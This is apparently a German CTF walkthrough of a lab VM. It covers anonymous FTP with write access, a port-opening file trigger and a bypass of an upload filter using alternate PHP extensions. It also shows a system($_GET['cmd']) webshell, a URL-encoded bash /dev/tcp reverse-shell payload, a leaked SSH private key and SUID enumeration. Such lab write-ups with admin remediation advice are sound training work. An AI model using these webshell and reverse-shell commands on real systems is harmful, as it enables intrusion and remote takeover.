192.168.2.180 08:00:27:db:f1:51 PCS Systemtechnik GmbH
Analyse: Mittels `arp-scan -l` wird das lokale Netzwerk nach aktiven Hosts durchsucht.
Bewertung: Der Host `192.168.2.180` wird gefunden. Die MAC-Adresse `08:00:27:db:f1:51` (PCS Systemtechnik GmbH) weist auf eine VirtualBox-VM hin.
Empfehlung (Pentester): Die IP `192.168.2.180` als Ziel für weitere Scans verwenden.
Empfehlung (Admin): Standard-Netzwerk-Aufklärung.
[Inhalt der /etc/hosts Datei nach der Bearbeitung]
192.168.2.180 ctfof2.vln
Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um den Hostnamen `ctfof2.vln` der IP `192.168.2.180` zuzuordnen.
Bewertung: Erleichtert die Adressierung des Ziels über einen Hostnamen.
Empfehlung (Pentester): Hostnamen bei Tests verwenden.
Empfehlung (Admin): Clientseitige Konfiguration.
26921/tcp open ftp vsftpd 2.0.8 or later
Analyse: Ein erster schneller Nmap-Scan (`-sS -sC -sV -T5 -A -Pn -p-`) wird durchgeführt und die Ausgabe nach offenen Ports gefiltert.
Bewertung: Überraschenderweise ist initial nur ein einziger Port offen: TCP-Port 26921, auf dem ein vsftpd FTP-Server läuft.
Empfehlung (Pentester): Führe einen vollständigen Nmap-Scan durch, um Details zu diesem FTP-Dienst zu erhalten. Untersuche den FTP-Dienst intensiv.
Empfehlung (Admin): Überprüfe, warum nur dieser ungewöhnliche Port offen ist. Ist dies beabsichtigt? Sichere den FTP-Dienst ab.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-22 22:54 CEST
Nmap scan report for ctfof2.vln (192.168.2.180)
Host is up (0.00016s latency).
Not shown: 65534 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
26921/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 0 0 492658 Apr 19 2019 1.png
| -rw-r--r-- 1 0 0 398665 Apr 19 2019 2.png
| -rw-r--r-- 1 0 0 397987 Apr 19 2019 3.png
| -rw-r--r-- 1 0 0 526658 Apr 19 2019 4.png
|_drwxr-xr-x 2 107 112 4096 May 16 2019 serrure
| ftp-syst:
| STAT:
| FTP server status:
[...]
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
MAC Address: 08:00:27:DB:F1:51 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
S details: Linux 3.2 - 4.9
Network Distance: 1 hop
TRACERUTE
HP RTT ADDRESS
1 0.16 ms ctfof2.vln (192.168.2.180)
Analyse: Der vollständige Nmap-Scan liefert Details zum offenen FTP-Port 26921.
Bewertung: * **Anonymous FTP:** Der wichtigste Fund ist, dass anonymer FTP-Login erlaubt ist (`ftp-anon: Anonymous FTP login allowed`). * **Inhalt:** Das Wurzelverzeichnis des FTP-Servers enthält vier PNG-Bilddateien (`1.png` bis `4.png`) und ein Verzeichnis namens `serrure` (französisch für "Schloss"). * **Version:** Das `ftp-syst`-Skript identifiziert die Version genauer als vsFTPd 3.0.3. Der anonyme FTP-Zugriff ist der klare Einstiegspunkt.
Empfehlung (Pentester): Logge dich anonym per FTP ein. Untersuche die Bilddateien und das Verzeichnis `serrure`. Prüfe auf Schreibrechte.
Empfehlung (Admin): Deaktiviere anonymen FTP-Zugriff, wenn er nicht zwingend benötigt wird. Wenn er benötigt wird, konfiguriere ihn sehr restriktiv (nur Lesezugriff, separates Verzeichnis, keine sensiblen Daten).
Analyse:** Der FTP-Dienst wird nun manuell untersucht.
Connected to 192.168.2.180. 220 Salut Alice ! Suite a l'attaque sur notre precedent serveur, j'en prepare un nouveau qui sera bien plus securise ! C'est en travaux pour l'instant donc s'il te plait ne touche a rien pour l'instant... Bob Name (192.168.2.180:cyber): Anonymous 331 Please specify the password. Password: [Enter] 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls -la 229 Entering Extended Passive Mode (|||22192|) 150 Here comes the directory listing. drwxr-xr-x 3 0 112 4096 May 12 2019 . drwxr-xr-x 3 0 112 4096 May 12 2019 .. -rw-r--r-- 1 0 0 492658 Apr 19 2019 1.png -rw-r--r-- 1 0 0 398665 Apr 19 2019 2.png -rw-r--r-- 1 0 0 397987 Apr 19 2019 3.png -rw-r--r-- 1 0 0 526658 Apr 19 2019 4.png drwxr-xr-x 2 107 112 4096 May 16 2019 serrure 226 Directory send K.
Analyse: Manuelle Verbindung zum FTP-Server auf Port 26921 mittels `ftp`-Client. Der Login erfolgt als Benutzer `Anonymous` ohne Passwort.
Bewertung: Der Login ist erfolgreich. Die Willkommensnachricht von "Bob" an "Alice" ist ein Hinweis auf mögliche Benutzernamen. Die Verzeichnisauflistung (`ls -la`) bestätigt die von Nmap gefundenen Dateien und das `serrure`-Verzeichnis.
Empfehlung (Pentester): Lade alle Dateien zur Offline-Analyse herunter. Untersuche das `serrure`-Verzeichnis genauer, insbesondere auf Schreibrechte.
Empfehlung (Admin): Anonymen Zugriff deaktivieren oder stark einschränken.
--2023-10-22 22:58:02-- ftp://Anonymous:*password*@192.168.2.180:26921/
=> 192.168.2.180:26921/.listing
[...]
Geholt: 4 Dateien, 1,7M in 0,007s (260 MB/s)
Analyse: Mit `wget -r` werden rekursiv alle Dateien und Verzeichnisse vom anonymen FTP-Server heruntergeladen.
Bewertung: Effiziente Methode, um alle Inhalte des FTP-Servers zur lokalen Analyse zu sichern. Es wurden 4 Dateien (1.png - 4.png) mit insgesamt 1.7 MB heruntergeladen. Das `serrure`-Verzeichnis scheint leer gewesen zu sein oder enthielt keine Dateien.
Empfehlung (Pentester): Untersuche die heruntergeladenen PNG-Dateien auf versteckte Informationen (Steganografie, Metadaten).
Empfehlung (Admin): Keine spezifische Empfehlung für diesen Schritt.
insgesamt 1788
-rw-r--r-- 1 root root 492658 19. Apr 2019 1.png
-rw-r--r-- 1 root root 398665 19. Apr 2019 2.png
-rw-r--r-- 1 root root 397987 19. Apr 2019 3.png
-rw-r--r-- 1 root root 526658 19. Apr 2019 4.png
drwxr-xr-x 2 root root 4096 22. Okt 22:58 serrure
Analyse: Wechsel in das lokale Verzeichnis, in das `wget` die Dateien heruntergeladen hat, und Auflisten des Inhalts.
Bewertung: Bestätigt die heruntergeladenen Dateien.
550 Failed to change directory.
local: rce_shell.php remote: rce_shell.php
229 Entering Extended Passive Mode (|||63852|)
553 Could not create file.
250 Directory successfully changed.
local: rce_shell.php remote: rce_shell.php
229 Entering Extended Passive Mode (|||46838|)
150 Ok to send data.
100% |***********************************| 31 50.45 KiB/s 00:00 ETA
226 Transfer complete.
31 bytes sent in 00:00 (33.56 KiB/s)
Analyse: Innerhalb der FTP-Sitzung wird getestet, ob Dateien hochgeladen werden können. * Der Versuch, ins Verzeichnis `/var` zu wechseln, scheitert (keine Berechtigung oder Verzeichnis existiert nicht im FTP-Kontext). * Der Versuch, eine Datei `rce_shell.php` ins Wurzelverzeichnis des FTP hochzuladen, scheitert (`553 Could not create file`). * Der Wechsel in das Verzeichnis `serrure` gelingt (`250 Directory successfully changed`). * Der Upload von `rce_shell.php` in das `serrure`-Verzeichnis ist erfolgreich (`226 Transfer complete`).
Bewertung: Der anonyme Benutzer hat **Schreibrechte** im Verzeichnis `serrure`. Dies ist eine wichtige Entdeckung, auch wenn der Zweck des Hochladens einer PHP-Shell hier noch unklar ist, da kein Webserver bekannt ist, der dieses Verzeichnis ausführt.
Empfehlung (Pentester): Behalte die Schreibrechte im `serrure`-Verzeichnis im Hinterkopf. Untersuche die PNG-Dateien.
Empfehlung (Admin): Entziehe dem anonymen FTP-Benutzer unbedingt Schreibrechte, insbesondere wenn diese nicht benötigt werden.
Analyse:** Der folgende Textblock ist eine Notiz des Pentesters, die erklärt, wie der nächste Schritt gefunden wurde.
Habe mir die 4 Bilder angeschaut und eine cle.txt abgebildet entdeckt.
Sobald man sie auf dem server hinterlegt hat , öffnet sich der Apache Port
Bewertung: Dies ist eine entscheidende Information, die durch Offline-Analyse der heruntergeladenen PNG-Dateien (vermutlich Steganografie oder einfach sichtbarer Text/QR-Code in den Bildern) gewonnen wurde. Die Bilder enthalten den Hinweis auf eine Datei namens `cle.txt`. Das Hinterlegen dieser Datei auf dem FTP-Server soll einen Apache-Port öffnen (Port Knocking oder ein ähnlicher Mechanismus).
Empfehlung (Pentester): Erstelle eine Datei namens `cle.txt` (der Inhalt ist laut späterem Code unwichtig, eine leere Datei reicht) und lade sie auf den FTP-Server hoch. Scanne danach erneut nach offenen Ports.
Empfehlung (Admin): Verstecke keine Trigger für Systemänderungen (wie das Öffnen von Ports) in öffentlich zugänglichen Dateien. Implementiere sicherere Methoden für solche Aktionen, falls sie benötigt werden.
[...]
530 Please login with USER and PASS.
[...]
421 Timeout.
Analyse: Es wird versucht, die zuvor hochgeladene `rce_shell.php` über HTTP auf dem FTP-Port (26921) aufzurufen.
Bewertung: Dies schlägt erwartungsgemäß fehl. Der FTP-Server erwartet FTP-Befehle, keine HTTP-Anfragen. Die Antworten sind FTP-Fehlercodes.
Empfehlung (Pentester): Dies bestätigt, dass der FTP-Port nicht gleichzeitig als HTTP-Server dient. Folge dem Hinweis aus den Bildern und lade `cle.txt` hoch.
Empfehlung (Admin): Keine Aktion erforderlich, da dies ein Fehlversuch des Angreifers ist.
local: cle.txt remote: cle.txt
229 Entering Extended Passive Mode (|||56801|)
150 Ok to send data.
100% |***********************************| 1 22.70 KiB/s 00:00 ETA
226 Transfer complete.
1 byte sent in 00:00 (2.13 KiB/s)
Analyse: Eine leere Datei namens `cle.txt` wird lokal erstellt (`echo "" > cle.txt`) und anschließend über die anonyme FTP-Verbindung in das Wurzelverzeichnis des FTP-Servers hochgeladen.
Bewertung: Dies ist die Aktion, die gemäß dem Hinweis aus den Bildern den neuen Port öffnen soll. Der Upload war erfolgreich.
Empfehlung (Pentester): Scanne das Zielsystem erneut mit Nmap, um zu sehen, ob ein neuer Port offen ist.
Empfehlung (Admin): Untersuche und entferne den Mechanismus, der auf das Vorhandensein von `cle.txt` reagiert und Ports öffnet.
26921/tcp open ftp vsftpd 2.0.8 or later
26980/tcp open http Apache httpd 2.4.25 ((Debian))
Analyse: Erneuter Nmap-Scan nach dem Hochladen von `cle.txt`.
Bewertung: **Erfolg!** Der Mechanismus hat funktioniert. Zusätzlich zum FTP-Port 26921 ist nun TCP-Port 26980 offen, auf dem ein Apache HTTP-Server (Version 2.4.25, Debian) läuft.
Empfehlung (Pentester): Untersuche den neuen Webserver auf Port 26980.
Empfehlung (Admin): Entferne den Trigger-Mechanismus.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-22 23:16 CEST
[...]
PRT STATE SERVICE VERSIN
26921/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
[...]
|_drwxr-xr-x 2 107 112 4096 Oct 22 23:15 serrure [Timestamp updated]
[...]
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
26980/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.25 (Debian)
[...]
Analyse: Vollständiger Nmap-Scan, der die beiden offenen Ports bestätigt.
Bewertung: Liefert Details zum Apache-Server auf Port 26980 (Version 2.4.25, kein spezifischer Titel). Bestätigt weiterhin den anonymen FTP-Zugriff.
Empfehlung (Pentester): Führe Verzeichnis-Scans und weitere Enumeration gegen Port 26980 durch.
Empfehlung (Admin): Absicherung beider Dienste.
Analyse:** Der neu entdeckte Webserver auf Port 26980 wird untersucht.
http://ctfof2.vln:26980/index.php (Status: 200) [Size: 205]
Analyse: `gobuster` wird verwendet, um Verzeichnisse/Dateien auf `http://ctfof2.vln:26980` zu finden.
Bewertung: Findet nur `index.php`. Der Filter `-b 301` könnte andere Verzeichnisse (wie `/uploads`, das später gefunden wird) versteckt haben.
Empfehlung (Pentester): Untersuche `index.php`. Führe einen Scan ohne `-b 301` durch oder nutze ein anderes Tool wie `dirb`.
Empfehlung (Admin): Webserver-Härtung.
[... HTML-Formular für Upload ...]
Analyse: Der Quelltext von `index.php` wird untersucht.
Bewertung: Enthält HTML-Kommentare auf Französisch: * ``: Test auf Vorhandensein der Datei cle.txt: OK. (Bestätigt, warum der Port offen ist). * ``: Test des Inhalts der Datei cle.txt: Fehler. (Deutet darauf hin, dass der *Inhalt* der Datei für eine weitere Funktion relevant sein könnte). Enthält außerdem ein Upload-Formular.
Empfehlung (Pentester): Finde heraus, welchen Inhalt `cle.txt` haben muss. Untersuche das Upload-Formular auf Schwachstellen.
Empfehlung (Admin): Entferne Debug-Kommentare. Sichere den Upload-Mechanismus ab.
[...]
+ http://ctfof2.vln:26980/index.php (CODE:200|SIZE:205)
==> DIRECTORY: http://ctfof2.vln:26980/uploads/
[...]
Analyse: `dirb`, ein anderer Verzeichnis-Scanner, wird gegen Port 26980 eingesetzt.
Bewertung: Findet `index.php` und, im Gegensatz zu Gobuster (mit `-b 301`), das Verzeichnis `/uploads/`. Dies ist wahrscheinlich das Zielverzeichnis des Upload-Formulars.
Empfehlung (Pentester): Prüfe den Inhalt von `/uploads/`. Versuche, eine Web-Shell über das Formular in dieses Verzeichnis hochzuladen.
Empfehlung (Admin): Beschränke den Zugriff auf Upload-Verzeichnisse und deaktiviere Verzeichnislistings.
Analyse:** Der folgende Abschnitt zeigt Versuche, den Inhalt von `cle.txt` zu ändern, vermutlich um den "Fehler"-Status aus dem Quelltext-Kommentar zu beheben.
250 Delete operation successful.
local: cle.txt remote: cle.txt
[...]
28 bytes sent in 00:00 (64.79 KiB/s)
[...]
-rw-r--r-- 1 107 112 28 Oct 22 23:37 cle.txt
226 Directory send K.
local: cle.txt remote: cle.txt
[...]
28 bytes sent in 00:00 (64.79 KiB/s)
Analyse: Die Datei `cle.txt` wird auf dem FTP-Server gelöscht und dann erneut hochgeladen. Diesmal hat die lokale Datei `cle.txt` offenbar einen Inhalt von 28 Bytes (der genaue Inhalt wird nicht gezeigt). Der Upload wird wiederholt.
Bewertung: Es wird versucht, den Mechanismus zu triggern, der auf den Inhalt von `cle.txt` prüft. Ob dies erfolgreich war oder welche Funktion es freischaltet, ist aus diesen Logs nicht ersichtlich. Die Web-Shell funktioniert jedoch auch ohne diesen Schritt.
Empfehlung (Pentester): Obwohl dieser Schritt im Bericht steht, scheint er für den weiteren Verlauf nicht zwingend notwendig gewesen zu sein. Konzentriere dich auf den Upload-Bypass.
Empfehlung (Admin): Entferne komplexe und potenziell fehleranfällige Trigger-Mechanismen.
Analyse:** Nun wird versucht, den Upload-Filter zu umgehen, der PHP-Dateien blockiert.
Choisir image : [Durchsuchen] : Upload
[Meldung nach Upload-Versuch einer .php Datei:]
PHP interdit
PHP verboten
Le fichier phpshell.php5 a été envoyé.
Index of /uploads/
[ICO] Name Last modified Size Description
[PARENTDIR] Parent Directory -
[ ] phpshell.php5 2023-10-22 23:40 3.5K
Apache/2.4.25 (Debian) Server at ctfof2.vln Port 26980
Le fichier phpshell.phar a été envoyé.
[Upload von phpshell.phtml über das Web-Formular - impliziert]
Analyse: 1. Das Web-Formular auf `index.php` wird aufgerufen. Es verbietet explizit den Upload von `.php`-Dateien. 2. Um dies zu umgehen, wird eine lokale PHP-Shell (`phpshell.php`) in `phpshell.php5` umbenannt. 3. Die Datei `phpshell.php5` wird erfolgreich über das Formular hochgeladen. 4. Das Verzeichnis `/uploads/` wird aufgerufen und zeigt die hochgeladene `phpshell.php5`. Verzeichnislisting ist aktiviert. 5. Es werden weitere Versuche mit `.phar` und `.phtml` unternommen/erwähnt, die ebenfalls erfolgreich zu sein scheinen.
Bewertung: Der Upload-Filter prüft nur auf die exakte Endung `.php` und kann durch Verwendung alternativer, von Apache oft trotzdem als PHP interpretierter Endungen (`.php5`, `.phtml`, `.phar`) umgangen werden. Dies ist eine häufige Schwachstelle in einfachen Upload-Filtern.
Empfehlung (Pentester): Rufe die hochgeladene Shell (z.B. `phpshell.php5`) im `/uploads/`-Verzeichnis auf, um Codeausführung zu erreichen. `.htaccess`-Upload könnte auch versucht werden, um z.B. `.txt`-Dateien als PHP ausführen zu lassen.
Empfehlung (Admin): Implementiere einen robusten Upload-Filter:
* Überprüfe nicht nur die Endung, sondern auch den MIME-Typ und den Dateiinhalt (Magic Bytes).
* Verwende eine Whitelist erlaubter Endungen/Typen statt einer Blacklist verbotener.
* Konfiguriere Apache so, dass alternative PHP-Endungen nicht ausgeführt werden, wenn nicht benötigt.
* Deaktiviere Verzeichnislistings (`Options -Indexes`).
* Verhindere das Hochladen von `.htaccess`-Dateien, wenn möglich (`AllowOverride None`).
[...]
250 Directory successfully changed.
local: .htaccess remote: .htaccess
[...]
226 Transfer complete.
[...]
-rw-r--r-- 1 107 112 0 Oct 22 23:48 .htaccess
-rw-r--r-- 1 107 112 28 Oct 22 23:37 cle.txt
[...]
Analyse: Eine leere `.htaccess`-Datei wird erstellt und via FTP in das Verzeichnis `serrure` hochgeladen.
Bewertung: Dieser Schritt ist unklar und scheint für den weiteren Exploit-Pfad irrelevant zu sein. Das `serrure`-Verzeichnis auf dem FTP-Server hat wahrscheinlich nichts mit dem Webserver-Verzeichnis `/var/www/html/uploads` zu tun. Möglicherweise ein früherer Versuch oder eine Verwechslung.
Empfehlung (Pentester): Konzentriere dich auf den Web-Upload-Vektor.
Empfehlung (Admin): Keine spezifische Empfehlung für diesen Schritt.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Eine einfache Webshell (`rce_shell.php`, die vermutlich einen Befehl über einen GET-Parameter wie `cmd` entgegennimmt) wird lokal nach `rce.php5` kopiert und (implizit) über das Webformular auf Port 26980 in das `/uploads/`-Verzeichnis hochgeladen. Anschließend wird die Shell über den Browser oder `curl` aufgerufen und der Befehl `id` über den `cmd`-Parameter übergeben.
Bewertung: **Remote Code Execution (RCE) erfolgreich!** Der Server führt den `id`-Befehl aus und gibt die Benutzer-ID des Webservers (`www-data`) zurück. Die Umgehung des Upload-Filters hat funktioniert.
Empfehlung (Pentester): Nutze die RCE, um eine interaktive Reverse Shell zu erhalten.
Empfehlung (Admin): Siehe Empfehlungen zur Absicherung des Upload-Filters.
Ziel des POC: Demonstrieren, wie durch Umgehung eines unsicheren Dateiupload-Filters eine Webshell hochgeladen und zur Ausführung von Betriebssystembefehlen als Benutzer `www-data` genutzt werden kann, um eine Reverse Shell zu etablieren.
Voraussetzungen:
Schritt-für-Schritt Anleitung:
1. Webshell vorbereiten: Eine PHP-Webshell (z.B. `rce_shell.php`, die `system($_GET['cmd']);` enthält) wird mit einer erlaubten Endung versehen.
2. Webshell hochladen: Die Datei `rce.php5` wird über das Formular auf `http://ctfof2.vln:26980/index.php` hochgeladen.
Le fichier rce.php5 a été envoyé.
3. RCE testen: Die hochgeladene Shell wird aufgerufen, um einen einfachen Befehl auszuführen.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
4. Listener starten: Auf dem Angreifer-System wird ein Netcat-Listener gestartet.
Listening on 0.0.0.0 4444
5. Reverse Shell auslösen: Die Webshell wird erneut aufgerufen, diesmal mit einem URL-kodierten Bash-Reverse-Shell-Payload im `cmd`-Parameter.
Payload URL: `http://ctfof2.vln:26980/uploads/rce.php5?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27`
[Keine relevante Ausgabe von curl]
6. Eingehende Verbindung empfangen: Der Netcat-Listener empfängt die Reverse Shell.
Listening on 0.0.0.0 4444
Connection received on ctfof2.vln 46598
bash: cannot set terminal process group (1571): Inappropriate ioctl for device
bash: no job control in this shell
www-data@kfiofan2:/var/www/html/uploads$
Ergebnis & Bewertung: **Ausgezeichnet, initialer Zugriff als `www-data` etabliert!** Die Umgehung des schwachen Upload-Filters ermöglichte das Hochladen einer Webshell, die zur Ausführung von Befehlen und zur Initiierung einer Reverse Shell genutzt wurde. Dies ist ein klassischer Weg, um über eine Webanwendung einen Fuß auf das System zu bekommen.
Empfehlung (Pentester): Stabilisiere die Shell. Führe Enumeration als `www-data` durch (Benutzer, Berechtigungen, SUID-Dateien, laufende Prozesse, Netzwerkverbindungen). Suche nach Wegen zur Privilege Escalation.
Empfehlung (Admin): **Upload-Filter dringend verbessern!** (Siehe vorherige Empfehlungen). Berechtigungen im Web-Root und Upload-Verzeichnis überprüfen. Webserver-Konfiguration härten.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 24
drwxr-xr-x 2 www-data www-data 4096 Oct 22 23:49 .
drwxr-xr-x 3 root root 4096 May 12 2019 ..
-rw-r--r-- 1 www-data www-data 0 Oct 22 23:50 .htaccess
-rw-r--r-- 1 www-data www-data 3545 Oct 22 23:43 phpshell.phar
-rw-r--r-- 1 www-data www-data 3545 Oct 22 23:40 phpshell.php5
-rw-r--r-- 1 www-data www-data 3545 Oct 22 23:44 phpshell.phtml
-rw-r--r-- 1 www-data www-data 31 Oct 22 23:49 rce.php5
total 16
drwxr-xr-x 3 root root 4096 May 12 2019 .
drwxr-xr-x 3 root root 4096 May 12 2019 ..
-rw-r--r-- 1 root root 1385 May 12 2019 index.php
drwxr-xr-x 2 www-data www-data 4096 Oct 22 23:49 uploads
Analyse: Grundlegende Befehle nach Erhalt der Shell: `id` zur Bestätigung, `ls` im Upload-Verzeichnis und im Web-Root.
Bewertung: Zeigt die hochgeladenen Shells und die Struktur des Web-Roots.
Analyse: Der Quellcode des Upload-Skripts `index.php` wird angezeigt.
Bewertung: Der Code bestätigt die extrem schwache Filterung: Es wird nur geprüft, ob die Dateiendung *exakt* `php` ist (`if($imageFileType == "php")`). Jede andere Endung wird durchgelassen. Es gibt keine Prüfung des MIME-Typs oder des Datei-Inhalts. Dies erklärt, warum der Upload von `.php5`, `.phtml` etc. funktionierte.
Empfehlung (Pentester): Keine weitere Aktion nötig, Schwachstelle ist klar.
Empfehlung (Admin): Siehe vorherige Empfehlungen zur Verbesserung des Upload-Filters.
147504 12 -rwsr-xr-x 1 root root 8936 May 13 2019 /home/bob/test
136991 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
[...]
30016 140 -rwsr-xr-x 1 root root 140944 Jun 5 2017 /usr/bin/sudo
[...]
131316 40 -rwsr-xr-x 1 root root 40536 May 17 2017 /bin/su
[...]
Analyse: Suche nach SUID-Binaries im Dateisystem.
Bewertung: Findet diverse Standard-SUID-Dateien und das bereits aus dem `strings`-Befehl (später) bekannte Binary `/home/bob/test`. Dieses gehört `root`, ist SUID und liegt im Home-Verzeichnis von `bob`. `sudo` ist ebenfalls vorhanden.
Empfehlung (Pentester): Untersuche `/home/bob/test`. Prüfe die `sudo`-Berechtigungen für `www-data` (`sudo -l`).
Empfehlung (Admin): Entferne das SUID-Bit von `/home/bob/test` oder die Datei selbst. Konfiguriere `sudo` sicher.
peda test todo.txt
- Chercher moteur de blog sécurisé
- Demander à Alice la charte graphique
- Voir pourquoi gcc dit que gets est dangereux
- Chercher Khaos avec Maltego
- Acheter un kebab
- Envoyer fanfic sur le Fauve
Analyse: Wechsel in das Home-Verzeichnis von `bob` und Anzeigen des Inhalts von `todo.txt`.
Bewertung: Die To-Do-Liste enthält einen **sehr wichtigen Hinweis:** "Voir pourquoi gcc dit que gets est dangereux" (Schauen, warum gcc sagt, dass gets gefährlich ist). Dies ist ein direkter Verweis auf die unsichere `gets()`-Funktion, die wahrscheinlich im SUID-Binary `/home/bob/test` verwendet wird und auf eine Buffer-Overflow-Schwachstelle hindeutet. `peda` ist ein Python Exploit Development Assistance Tool für GDB, was weiter auf Exploit-Entwicklung hindeutet.
Empfehlung (Pentester): Konzentriere dich auf das Binary `/home/bob/test`. Analysiere es auf die `gets()`-Schwachstelle und entwickle einen Buffer-Overflow-Exploit.
Empfehlung (Admin): Entferne das SUID-Binary `/home/bob/test`.
Analyse:** Parallel zur Untersuchung als `www-data` wird versucht, über die RCE-Webshell weitere Informationen zu sammeln, die einen direkten Login ermöglichen.
total 16
drwxr-xr-x 3 root root 4096 May 12 2019 .
drwxr-xr-x 12 root root 4096 Mar 13 2019 ..
drwxr-xr-x 3 root root 4096 May 12 2019 html
-rwxr-xr-x 1 bob bob 1675 May 12 2019 id_rsa.bak
Analyse: Mittels Path Traversal (`../../`) wird über die Webshell versucht, den Inhalt des übergeordneten Verzeichnisses von `/var/www/` (also `/var/`) aufzulisten.
Bewertung: **Wichtiger Fund!** Im Verzeichnis `/var/` liegt eine Datei namens `id_rsa.bak`, die dem Benutzer `bob` gehört. Dies ist sehr wahrscheinlich ein Backup eines privaten SSH-Schlüssels.
Empfehlung (Pentester): Lade diese `id_rsa.bak`-Datei herunter und untersuche sie. Sie könnte den Login als Benutzer `bob` ermöglichen.
Empfehlung (Admin): Speichere niemals Backups von SSH-Schlüsseln in unsicheren Verzeichnissen wie `/var/`. Beschränke die Rechte von `www-data`, um Path Traversal zu verhindern.
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAt0uRFvl8Jw8F+SNXh+cqN2m5aCxF5nuNmIqJVbYAi4gx7yib
[...]
-----END RSA PRIVATE KEY-----
[...]
Analyse: Der Inhalt der Datei `id_rsa.bak` wird über die Webshell ausgegeben und anschließend mit `curl` vom Angreifer-System heruntergeladen und als `id-rsa` gespeichert.
Bewertung: Der private SSH-Schlüssel für `bob` wurde erfolgreich extrahiert. Er scheint nicht passwortgeschützt zu sein (keine `Proc-Type: 4,ENCRYPTED`-Header).
Empfehlung (Pentester): Finde heraus, auf welchem Port der SSH-Dienst für `bob` läuft (Nmap hat initial nur FTP gezeigt). Versuche dann, dich mit dem Schlüssel als `bob` anzumelden.
Empfehlung (Admin): SSH-Schlüssel sicher aufbewahren, Backups verschlüsseln oder an sicheren Orten speichern.
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 *:26922 *:*
LISTEN 0 128 :::26980 :::*
LISTEN 0 32 :::26921 :::*
LISTEN 0 128 :::26922 :::*
Analyse: Erneute Überprüfung der lauschenden Ports mit `ss -altpn` aus der `www-data`-Shell.
Bewertung: Dieser Output zeigt nun **Port 26922** als lauschend an, zusätzlich zu den bereits bekannten Ports 26921 (FTP) und 26980 (HTTP). Dies ist höchstwahrscheinlich der SSH-Port für den Benutzer `bob`.
Empfehlung (Pentester): Versuche den SSH-Login als `bob` auf Port 26922 mit dem heruntergeladenen Schlüssel.
Empfehlung (Admin): Dokumentiere und überwache alle lauschenden Ports. Verwende Standardports, wenn möglich, oder beschränke den Zugriff auf nicht-standardmäßige Ports.
The authenticity of host '[ctfof2.vln]:26922 ([192.168.2.180]:26922)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[ctfof2.vln]:26922' (ED25519) to the list of known hosts.
Linux kfiofan2 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1 (2019-04-12) x86_64
[...]
Last login: Mon May 13 11:29:06 2019 from 192.168.1.2
bob@kfiofan2$
Analyse: Vom Angreifer-System wird versucht, sich per SSH als Benutzer `bob` am Ziel `ctfof2.vln` auf Port 26922 anzumelden. Der zuvor heruntergeladene private Schlüssel (`id-rsa`) wird mit der Option `-i` verwendet.
Bewertung: **Login erfolgreich!** Der SSH-Login als Benutzer `bob` mittels des gefundenen Schlüssels funktioniert ohne Passphrase. Dies gewährt einen interaktiven Shell-Zugang als Benutzer `bob`.
Empfehlung (Pentester): Enumeriere nun als `bob`. Suche nach `sudo`-Rechten oder anderen Wegen zur Privilege Escalation. Das SUID-Binary `/home/bob/test` ist der Hauptverdächtige.
Empfehlung (Admin): Rotiere SSH-Schlüssel regelmäßig. Speichere keine unverschlüsselten Schlüssel-Backups. Überwache SSH-Logins auf ungewöhnliche Ports.
Analyse:** Nach dem Login als `bob` wird nach Wegen zur Rechteerweiterung gesucht, wobei der Fokus auf dem SUID-Binary `/home/bob/test` liegt.
/lib64/ld-linux-x86-64.so.2
libc.so.6
gets
puts
printf
getchar
system
__cxa_finalize
strcmp
__libc_start_main
[...]
GLIBC_2.2.5
[...]
lancement debug
touch /root/authorize_bob
code retour : %d
Mot de passe :
aliceestnulle
Analyse: Das Tool `strings` wird verwendet, um lesbare Zeichenketten aus dem SUID-Binary `/home/bob/test` zu extrahieren.
Bewertung: Die Ausgabe liefert wichtige Hinweise: * **`gets`:** Bestätigt die Verwendung der unsicheren `gets()`-Funktion (Buffer Overflow wahrscheinlich). * **`system`:** Die `system()`-Funktion ist vorhanden, was ein potenzielles Ziel für den Overflow sein könnte (um `system("/bin/sh")` aufzurufen). * **`strcmp`:** Es wird ein String-Vergleich durchgeführt. * **`Mot de passe :`:** Das Programm fragt nach einem Passwort. * **`aliceestnulle`:** Dies ist sehr wahrscheinlich das hartkodierte Passwort, das mit `strcmp` gegen die Benutzereingabe geprüft wird. * **`touch /root/authorize_bob`:** Eine interessante Aktion, die ausgeführt wird, möglicherweise nach erfolgreicher Authentifizierung oder als Teil einer Debug-Funktion (`lancement debug`).
Empfehlung (Pentester): Zwei mögliche Wege zur PE:
1. **Buffer Overflow:** Nutze die `gets()`-Schwachstelle, um den Return Pointer zu überschreiben und Code als root auszuführen.
2. **Passwort:** Versuche, das Programm auszuführen und das Passwort `aliceestnulle` einzugeben. Prüfe, was danach passiert (wird `/root/authorize_bob` erstellt? Gibt es andere Effekte?).
**Update:** Der Bericht zeigt später, dass der Exploit-Pfad über `sudo su` führt. Das `test`-Binary ist also entweder eine Sackgasse, ein alternativer Pfad, oder das Passwort `aliceestnulle` wird anderweitig benötigt. Die Buffer-Overflow-Versuche im Bericht scheinen nicht zum Ziel zu führen.
